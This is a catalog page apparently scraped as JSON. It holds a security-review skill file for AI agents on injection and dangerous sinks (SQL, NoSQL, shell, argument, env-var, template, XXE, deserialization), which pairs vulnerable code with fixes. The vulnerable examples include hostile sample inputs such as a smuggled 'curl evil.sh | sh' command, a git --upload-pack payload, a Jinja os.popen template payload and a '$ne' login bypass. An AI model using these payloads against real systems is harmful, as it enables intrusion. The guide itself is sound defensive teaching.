[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7CSMDYFWZZ8HTY7T59YZBZ8":3,"skill-same:01M7CSMDYFWZZ8HTY7T59YZBZ8":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":32,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":34,"updatedAt":35,"install":36,"resources":49},"01M7CSMDYFWZZ8HTY7T59YZBZ8","injection-and-dangerous-sinks",null,"Use when the diff builds a query, a shell command or argv, a subprocess environment, a template, an XML parse, an eval or a deserialization from data that may be attacker-controlled - SQL\u002FNoSQL, OS command, argument, env-var, template and code injection, XXE, unsafe deserialization","makifbaysal\u002Ftasktrooper","makifbaysal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F25031940?v=4","01M7CRG3ZCSYZSSEVDMW3DEYC8","Mehmet Akif Baysal","01M7CRG401FJ8YAXH5ER730XYV",122,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fsecurity-agent\u002Fskills\u002Finjection-and-dangerous-sinks\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: injection-and-dangerous-sinks\ncategory: security\ndescription: Use when the diff builds a query, a shell command or argv, a subprocess environment, a template, an XML parse, an eval or a deserialization from data that may be attacker-controlled - SQL\u002FNoSQL, OS command, argument, env-var, template and code injection, XXE, unsafe deserialization\ntech_stack: Web & API\nsource: original; informed by trailofbits\u002Fskills (CC BY-SA 4.0, ideas only, own wording) and anthropics\u002Fclaude-code security-guidance plugin (ideas only); OWASP Top 10:2025 A05\u002FA08 and CWE cited by name only\n---\n# Injection and Dangerous Sinks\n\n## Overview\n\nInjection is attacker data crossing from the data channel into the code channel of an interpreter: SQL, a shell, a template engine, an XML parser, a deserializer. The fix is almost always structural — keep data and code in separate channels — not escaping.\n\n**Core principle:** the sink is only half the finding. Trace the value back to a source the attacker controls before you call it injection; a constant or a server-side config value in the same position is not.\n\n## 1. SQL Injection (CWE-89)\n\nOnly string-built SQL counts. Parameter binding and ORM query builders are the control working.\n\n```go\n\u002F\u002F ❌\nrows, _ := db.Query(\"SELECT * FROM users WHERE email = '\" + email + \"'\")\n\u002F\u002F ✅\nrows, _ := db.Query(\"SELECT * FROM users WHERE email = $1\", email)\n```\n\nWhere it hides in ORM code: Django `.raw()`, `.extra()`, `RawSQL`; SQLAlchemy `text(f\"…\")`; JPA `createQuery(\"… \" + x)` (JPQL injection) and `createNativeQuery`; Spring `JdbcTemplate` with concatenation; Prisma `$queryRawUnsafe`\u002F`$executeRawUnsafe`; Sequelize `literal()`; Knex `raw()` with template strings. Identifiers (`ORDER BY`, column, table names) cannot be bound — they need an allowlist:\n\n```python\n# ❌ sort comes from the query string\ncur.execute(f\"SELECT * FROM tasks ORDER BY {sort}\")\n# ✅\ncur.execute(f\"SELECT * FROM tasks ORDER BY {SORTABLE[sort]}\")  # dict lookup; KeyError → 400\n```\n\n## 2. NoSQL Operator Injection (CWE-943)\n\nA JSON body can carry an object where a string was expected.\n\n```js\n\u002F\u002F ❌ body {\"email\": \"a@b.c\", \"password\": {\"$ne\": null}} matches any password\nconst user = await Users.findOne({ email: req.body.email, password: req.body.password });\n\u002F\u002F ✅ force scalar types at the boundary (schema validation or String())\nconst user = await Users.findOne({ email: String(req.body.email) });\n```\n\nAlso `$where`, `$function` and `mapReduce` with user-built JavaScript.\n\n## 3. OS Command Injection (CWE-78)\n\nThe dangerous part is the shell. `sh -c`, `shell=True`, `child_process.exec`, backticks, `system()`, `popen()`.\n\n```python\n# ❌ host = \"8.8.8.8; curl evil.sh | sh\"\nsubprocess.run(f\"ping -c 1 {host}\", shell=True)\n# ✅ argv list, no shell; host validated as an address (which also rules out a leading \"-\")\nsubprocess.run([\"ping\", \"-c\", \"1\", str(ipaddress.ip_address(host))], check=True)\n```\n\n`exec.Command(name, args...)`, `execFile`\u002F`spawn` with `shell: false`, `ProcessBuilder(list)` and Java's `Runtime.exec(String)` (it tokenises, it does not invoke a shell) are not shell injection — but see argument injection.\n\n## 4. Argument Injection (CWE-88)\n\nNo shell, still exploitable: a value that starts with `-` becomes an option of the program.\n\n```go\n\u002F\u002F ❌ url = \"--upload-pack=touch \u002Ftmp\u002Fpwned\" runs a command\nexec.Command(\"git\", \"clone\", url, dir)\n\u002F\u002F ✅ end of options, and reject leading dashes on values meant as operands\nexec.Command(\"git\", \"clone\", \"--\", url, dir)\n```\n\nKnown gadgets: `git --upload-pack=`\u002F`-c core.sshCommand=`, `ssh -oProxyCommand=`, `tar --checkpoint-action=exec=`, `curl -o`\u002F`-K`, `rsync -e`, `find -exec`, `zip -T -TT`, `wget --use-askpass`. Fix: `--` before operands, plus validation that operands do not start with `-`.\n\n## 5. Environment-Variable Injection into Subprocesses\n\nWhen a caller controls environment variable names or values passed to a child, several variables are code execution:\n\n`LD_PRELOAD`, `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `NODE_OPTIONS` (`--require`), `PYTHONPATH`, `PYTHONSTARTUP`, `BASH_ENV`, `ENV`, `PERL5OPT`, `RUBYOPT`, `GIT_SSH_COMMAND`, `GIT_CONFIG_*`, `JAVA_TOOL_OPTIONS`.\n\n```ts\n\u002F\u002F ❌ user-supplied env merged into the child\nspawn(tool, args, { env: { ...process.env, ...req.body.env }, shell: false });\n\u002F\u002F ✅ only named, validated keys\nspawn(tool, args, { env: { PATH: process.env.PATH, LANG: \"C\", JOB_ID: jobId }, shell: false });\n```\n\n## 6. Code Injection and eval (CWE-94, CWE-95)\n\n`eval`, `new Function`, Node `vm` (not a sandbox), Python `eval`\u002F`exec`\u002F`compile`, Java `ScriptEngine`, Groovy shells, SpEL `parseExpression(userInput)`, OGNL\u002FMVEL, Ruby `instance_eval`\u002F`send` with user method names, `setTimeout(string)`. Any user-influenced string reaching these is CRITICAL when reachable. Model output reaching them: llm-and-agent-security.\n\n## 7. Template Injection (CWE-1336)\n\nUser input used as the **template**, not as a template variable.\n\n```python\n# ❌ the user writes Jinja: {{ cycler.__init__.__globals__.os.popen('id').read() }}\nreturn render_template_string(f\"Hello {name}\")\n# ✅ the user's value is data\nreturn render_template_string(\"Hello {{ name }}\", name=name)\n```\n\nSame shape: Go `text\u002Ftemplate` parsing user text; FreeMarker\u002FVelocity templates from user input; Thymeleaf view names built from input (`return \"user\u002F\" + lang;` evaluates `__${…}__` preprocessing); Handlebars\u002FPug compiled from input.\n\n**Orchestrator templates** are the same bug one level up: Airflow templated fields (`bash_command=\"echo {{ params.x }}\"` or `{{ dag_run.conf['x'] }}`) where a trigger supplies the value; Argo Workflows `{{inputs.parameters.x}}` substituted into a script's source; Tekton `$(params.x)` inside `script:`. Fix: pass the value through an environment variable and quote it in the script.\n\n## 8. XXE (CWE-611)\n\n- Java `DocumentBuilderFactory`, `SAXParserFactory`, `XMLInputFactory`, `TransformerFactory` resolve DTDs and external entities unless configured — look for `disallow-doctype-decl` set to true or the equivalent feature flags.\n- Python: `lxml` with `resolve_entities=True` or `no_network=False` on untrusted XML; prefer `defusedxml`. The stdlib `xml.etree` does not fetch external entities but still expands internal ones.\n- .NET: `XmlDocument`\u002F`XmlTextReader` with a non-null `XmlResolver` or `DtdProcessing.Parse`.\n- Go `encoding\u002Fxml` does not resolve external entities — not a finding.\n\n## 9. Unsafe Deserialization (CWE-502)\n\nA deserializer that can instantiate arbitrary types runs attacker code when fed attacker bytes.\n\n| Stack | Dangerous on untrusted input | Safe alternative |\n|-------|------------------------------|------------------|\n| Python | `pickle.load(s)`, `joblib.load`, `pd.read_pickle`, `np.load(..., allow_pickle=True)`, `torch.load(..., weights_only=False)` (and plain `torch.load` on torch \u003C 2.6), `yaml.load(..., Loader=yaml.Loader)`, `yaml.unsafe_load`, `dill`, `cloudpickle` | JSON, `yaml.safe_load`, safetensors, ONNX, skops |\n| Java\u002FKotlin | `ObjectInputStream.readObject`, `XMLDecoder`, XStream without allowlist, Jackson default typing \u002F `@JsonTypeInfo(use = Id.CLASS)`, SnakeYAML \u003C 2.0 `new Yaml().load` | DTOs with explicit types, an `ObjectInputFilter` allowlist |\n| .NET | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter`, Json.NET `TypeNameHandling` other than `None` | `System.Text.Json` with known types |\n| Ruby \u002F PHP \u002F Node | `Marshal.load`, `YAML.unsafe_load`; `unserialize`; `node-serialize`, `funcster` | `JSON.parse`, `YAML.safe_load` |\n\n\"Untrusted\" includes a model file a user uploads, a cache entry in a shared Redis, a cookie, and a message on a queue other services write.\n\n## Severity Guide\n\nReachable command, code, template or deserialization injection → CRITICAL. SQL injection → HIGH, CRITICAL when unauthenticated or reaching credentials. XXE reading local files → HIGH.\n\n## Common Mistakes\n\n- Calling parameterised SQL or an ORM filter injectable.\n- Calling `exec.Command(\"git\", \"log\", userRef)` shell injection — it is argument injection, and only if the value can start with `-`.\n- Flagging `LIKE` wildcards (`%`, `_`) as SQL injection — at most a correctness bug.\n- Flagging `yaml.safe_load` or `torch.load(..., weights_only=True)`.\n- Missing that the \"template\" passed to `render_template_string` is itself built with an f-string.\n\n## Red Flags\n\n- `f\"`, `+`, `%`, `.format(`, `${` or `fmt.Sprintf` on the line that builds a query, a command or a template.\n- `shell=True`, `sh -c`, `bash -c`, `cmd \u002Fc`, `exec(` from `child_process`.\n- A subprocess whose argv operands come from a request and have no `--` before them.\n- `env:` built by spreading request data.\n- A loader for pickles, model files or serialized objects fed from an upload, a URL or a shared store.\n\n## References (names and links only)\n\n[OWASP Top 10:2025](https:\u002F\u002Fowasp.org\u002FTop10\u002F2025\u002F) A05 Injection, A08 Software or Data Integrity Failures · CWE-78, 88, 89, 94, 502, 611, 943, 1336 at [cwe.mitre.org](https:\u002F\u002Fcwe.mitre.org\u002F) · [ASVS 5.0 V1 Encoding and Sanitization](https:\u002F\u002Fgithub.com\u002FOWASP\u002FASVS\u002Ftree\u002Fmaster\u002F5.0\u002Fen)\n","# Injection and Dangerous Sinks\n\n## Overview\n\nInjection is attacker data crossing from the data channel into the code channel of an interpreter: SQL, a shell, a template engine, an XML parser, a deserializer. The fix is almost always structural — keep data and code in separate channels — not escaping.\n\n**Core principle:** the sink is only half the finding. Trace the value back to a source the attacker controls before you call it injection; a constant or a server-side config value in the same position is not.\n\n## 1. SQL Injection (CWE-89)\n\nOnly string-built SQL counts. Parameter binding and ORM query builders are the control working.\n\n```go\n\u002F\u002F ❌\nrows, _ := db.Query(\"SELECT * FROM users WHERE email = '\" + email + \"'\")\n\u002F\u002F ✅\nrows, _ := db.Query(\"SELECT * FROM users WHERE email = $1\", email)\n```\n\nWhere it hides in ORM code: Django `.raw()`, `.extra()`, `RawSQL`; SQLAlchemy `text(f\"…\")`; JPA `createQuery(\"… \" + x)` (JPQL injection) and `createNativeQuery`; Spring `JdbcTemplate` with concatenation; Prisma `$queryRawUnsafe`\u002F`$executeRawUnsafe`; Sequelize `literal()`; Knex `raw()` with template strings. Identifiers (`ORDER BY`, column, table names) cannot be bound — they need an allowlist:\n\n```python\n# ❌ sort comes from the query string\ncur.execute(f\"SELECT * FROM tasks ORDER BY {sort}\")\n# ✅\ncur.execute(f\"SELECT * FROM tasks ORDER BY {SORTABLE[sort]}\")  # dict lookup; KeyError → 400\n```\n\n## 2. NoSQL Operator Injection (CWE-943)\n\nA JSON body can carry an object where a string was expected.\n\n```js\n\u002F\u002F ❌ body {\"email\": \"a@b.c\", \"password\": {\"$ne\": null}} matches any password\nconst user = await Users.findOne({ email: req.body.email, password: req.body.password });\n\u002F\u002F ✅ force scalar types at the boundary (schema validation or String())\nconst user = await Users.findOne({ email: String(req.body.email) });\n```\n\nAlso `$where`, `$function` and `mapReduce` with user-built JavaScript.\n\n## 3. OS Command Injection (CWE-78)\n\nThe dangerous part is the shell. `sh -c`, `shell=True`, `child_process.exec`, backticks, `system()`, `popen()`.\n\n```python\n# ❌ host = \"8.8.8.8; curl evil.sh | sh\"\nsubprocess.run(f\"ping -c 1 {host}\", shell=True)\n# ✅ argv list, no shell; host validated as an address (which also rules out a leading \"-\")\nsubprocess.run([\"ping\", \"-c\", \"1\", str(ipaddress.ip_address(host))], check=True)\n```\n\n`exec.Command(name, args...)`, `execFile`\u002F`spawn` with `shell: false`, `ProcessBuilder(list)` and Java's `Runtime.exec(String)` (it tokenises, it does not invoke a shell) are not shell injection — but see argument injection.\n\n## 4. Argument Injection (CWE-88)\n\nNo shell, still exploitable: a value that starts with `-` becomes an option of the program.\n\n```go\n\u002F\u002F ❌ url = \"--upload-pack=touch \u002Ftmp\u002Fpwned\" runs a command\nexec.Command(\"git\", \"clone\", url, dir)\n\u002F\u002F ✅ end of options, and reject leading dashes on values meant as operands\nexec.Command(\"git\", \"clone\", \"--\", url, dir)\n```\n\nKnown gadgets: `git --upload-pack=`\u002F`-c core.sshCommand=`, `ssh -oProxyCommand=`, `tar --checkpoint-action=exec=`, `curl -o`\u002F`-K`, `rsync -e`, `find -exec`, `zip -T -TT`, `wget --use-askpass`. Fix: `--` before operands, plus validation that operands do not start with `-`.\n\n## 5. Environment-Variable Injection into Subprocesses\n\nWhen a caller controls environment variable names or values passed to a child, several variables are code execution:\n\n`LD_PRELOAD`, `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `NODE_OPTIONS` (`--require`), `PYTHONPATH`, `PYTHONSTARTUP`, `BASH_ENV`, `ENV`, `PERL5OPT`, `RUBYOPT`, `GIT_SSH_COMMAND`, `GIT_CONFIG_*`, `JAVA_TOOL_OPTIONS`.\n\n```ts\n\u002F\u002F ❌ user-supplied env merged into the child\nspawn(tool, args, { env: { ...process.env, ...req.body.env }, shell: false });\n\u002F\u002F ✅ only named, validated keys\nspawn(tool, args, { env: { PATH: process.env.PATH, LANG: \"C\", JOB_ID: jobId }, shell: false });\n```\n\n## 6. Code Injection and eval (CWE-94, CWE-95)\n\n`eval`, `new Function`, Node `vm` (not a sandbox), Python `eval`\u002F`exec`\u002F`compile`, Java `ScriptEngine`, Groovy shells, SpEL `parseExpression(userInput)`, OGNL\u002FMVEL, Ruby `instance_eval`\u002F`send` with user method names, `setTimeout(string)`. Any user-influenced string reaching these is CRITICAL when reachable. Model output reaching them: llm-and-agent-security.\n\n## 7. Template Injection (CWE-1336)\n\nUser input used as the **template**, not as a template variable.\n\n```python\n# ❌ the user writes Jinja: {{ cycler.__init__.__globals__.os.popen('id').read() }}\nreturn render_template_string(f\"Hello {name}\")\n# ✅ the user's value is data\nreturn render_template_string(\"Hello {{ name }}\", name=name)\n```\n\nSame shape: Go `text\u002Ftemplate` parsing user text; FreeMarker\u002FVelocity templates from user input; Thymeleaf view names built from input (`return \"user\u002F\" + lang;` evaluates `__${…}__` preprocessing); Handlebars\u002FPug compiled from input.\n\n**Orchestrator templates** are the same bug one level up: Airflow templated fields (`bash_command=\"echo {{ params.x }}\"` or `{{ dag_run.conf['x'] }}`) where a trigger supplies the value; Argo Workflows `{{inputs.parameters.x}}` substituted into a script's source; Tekton `$(params.x)` inside `script:`. Fix: pass the value through an environment variable and quote it in the script.\n\n## 8. XXE (CWE-611)\n\n- Java `DocumentBuilderFactory`, `SAXParserFactory`, `XMLInputFactory`, `TransformerFactory` resolve DTDs and external entities unless configured — look for `disallow-doctype-decl` set to true or the equivalent feature flags.\n- Python: `lxml` with `resolve_entities=True` or `no_network=False` on untrusted XML; prefer `defusedxml`. The stdlib `xml.etree` does not fetch external entities but still expands internal ones.\n- .NET: `XmlDocument`\u002F`XmlTextReader` with a non-null `XmlResolver` or `DtdProcessing.Parse`.\n- Go `encoding\u002Fxml` does not resolve external entities — not a finding.\n\n## 9. Unsafe Deserialization (CWE-502)\n\nA deserializer that can instantiate arbitrary types runs attacker code when fed attacker bytes.\n\n| Stack | Dangerous on untrusted input | Safe alternative |\n|-------|------------------------------|------------------|\n| Python | `pickle.load(s)`, `joblib.load`, `pd.read_pickle`, `np.load(..., allow_pickle=True)`, `torch.load(..., weights_only=False)` (and plain `torch.load` on torch \u003C 2.6), `yaml.load(..., Loader=yaml.Loader)`, `yaml.unsafe_load`, `dill`, `cloudpickle` | JSON, `yaml.safe_load`, safetensors, ONNX, skops |\n| Java\u002FKotlin | `ObjectInputStream.readObject`, `XMLDecoder`, XStream without allowlist, Jackson default typing \u002F `@JsonTypeInfo(use = Id.CLASS)`, SnakeYAML \u003C 2.0 `new Yaml().load` | DTOs with explicit types, an `ObjectInputFilter` allowlist |\n| .NET | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter`, Json.NET `TypeNameHandling` other than `None` | `System.Text.Json` with known types |\n| Ruby \u002F PHP \u002F Node | `Marshal.load`, `YAML.unsafe_load`; `unserialize`; `node-serialize`, `funcster` | `JSON.parse`, `YAML.safe_load` |\n\n\"Untrusted\" includes a model file a user uploads, a cache entry in a shared Redis, a cookie, and a message on a queue other services write.\n\n## Severity Guide\n\nReachable command, code, template or deserialization injection → CRITICAL. SQL injection → HIGH, CRITICAL when unauthenticated or reaching credentials. XXE reading local files → HIGH.\n\n## Common Mistakes\n\n- Calling parameterised SQL or an ORM filter injectable.\n- Calling `exec.Command(\"git\", \"log\", userRef)` shell injection — it is argument injection, and only if the value can start with `-`.\n- Flagging `LIKE` wildcards (`%`, `_`) as SQL injection — at most a correctness bug.\n- Flagging `yaml.safe_load` or `torch.load(..., weights_only=True)`.\n- Missing that the \"template\" passed to `render_template_string` is itself built with an f-string.\n\n## Red Flags\n\n- `f\"`, `+`, `%`, `.format(`, `${` or `fmt.Sprintf` on the line that builds a query, a command or a template.\n- `shell=True`, `sh -c`, `bash -c`, `cmd \u002Fc`, `exec(` from `child_process`.\n- A subprocess whose argv operands come from a request and have no `--` before them.\n- `env:` built by spreading request data.\n- A loader for pickles, model files or serialized objects fed from an upload, a URL or a shared store.\n\n## References (names and links only)\n\n[OWASP Top 10:2025](https:\u002F\u002Fowasp.org\u002FTop10\u002F2025\u002F) A05 Injection, A08 Software or Data Integrity Failures · CWE-78, 88, 89, 94, 502, 611, 943, 1336 at [cwe.mitre.org](https:\u002F\u002Fcwe.mitre.org\u002F) · [ASVS 5.0 V1 Encoding and Sanitization](https:\u002F\u002Fgithub.com\u002FOWASP\u002FASVS\u002Ftree\u002Fmaster\u002F5.0\u002Fen)\n",{"name":5,"source":24,"category":25,"tech_stack":26,"description":7},"original; informed by trailofbits\u002Fskills (CC BY-SA 4.0, ideas only, own wording) and anthropics\u002Fclaude-code security-guidance plugin (ideas only); OWASP Top 10:2025 A05\u002FA08 and CWE cited by name only","security","Web & API","main","910394a0b6db9fc8c9a8f36328ec421d3ebd8b38","catalog\u002Fagents\u002Fsecurity-agent\u002Fskills\u002Finjection-and-dangerous-sinks",18,"https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper","https:\u002F\u002Ftasktrooper.ai","https:\u002F\u002Fgithub.com\u002Fmakifbaysal","Senior Software Developer","2026-11-15 04:50:29",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add makifbaysal\u002Ftasktrooper --skill injection-and-dangerous-sinks",{"tool":42,"command":43},"bunx","bunx skills add makifbaysal\u002Ftasktrooper --skill injection-and-dangerous-sinks",{"tool":45,"command":46},"pnpm","pnpm dlx skills add makifbaysal\u002Ftasktrooper --skill injection-and-dangerous-sinks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fsecurity-agent\u002Fskills\u002Finjection-and-dangerous-sinks\u002FSKILL.md",true,[],[51,57,64,71,78,85],{"skillNo":52,"name":53,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7CSVEPQW6J6TD6CS2T5FPNZ","visual-craft","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fui-designer\u002Fskills\u002Fvisual-craft\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7CSVAQG91ETHQ0HBNZDG5FR","ux-copy","Use when you write any words a user reads in a mockup or a hand-off - content language and voice, buttons, labels, errors, empty states, confirmations, numbers and dates, and the longest-string check","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fui-designer\u002Fskills\u002Fux-copy\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7CSV6H0J38659NDXHJQ8396","screen-mockup-html","Use when you draw screens as the design task's HTML mockup - ONE canvas document holding every screen and every variant side by side, the sanitizer-safe recipe, phone and wide frames, the states grid, static control states, and the loopback self-check with screenshots at 375, 768 and 1440 attached to the task","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fui-designer\u002Fskills\u002Fscreen-mockup-html\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7CSV3JFRF3BM3XK52M7YEYR","performance-awareness","How the performance score moves for your role. Use when the score context shows a declining trend, or before handing off work you have not self-checked against every criterion.","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fui-designer\u002Fskills\u002Fperformance-awareness\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7CSTZDH00YRF5SCT7BRT9QD","design-variants","Use when a screen design needs variants - how many, variants as side-by-side rows on the one canvas, what makes two variants genuinely different, recommending one, how the human's choice is read, and narrowing to the chosen one in revision","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fui-designer\u002Fskills\u002Fdesign-variants\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7CSTV6P3SM3PAE28DB0RF77","design-system-authoring","Use when you derive, change or extend a design system - where tokens live per stack, the DTCG token tree, role-based names for both themes, base vs layer vs drift, the DESIGN.md section order, the inventory format, the contrast check and the lint every proposal returns","https:\u002F\u002Fgithub.com\u002Fmakifbaysal\u002Ftasktrooper\u002Fblob\u002Fmain\u002Fcatalog\u002Fagents\u002Fui-designer\u002Fskills\u002Fdesign-system-authoring\u002FSKILL.md",[],[]]